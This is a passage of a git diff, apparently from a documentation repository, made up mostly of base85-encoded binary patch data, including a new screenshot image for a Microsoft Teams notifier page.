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

literal 0
HcmV?d00001

diff --git a/_images/notifier/microsoft_teams/message.png b/_images/notifier/microsoft_teams/message.png
new file mode 100644
index 0000000000000000000000000000000000000000..5c4c7f11ed12fed720f4b227a27c76b7c2e9b46b
GIT binary patch
literal 7777
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
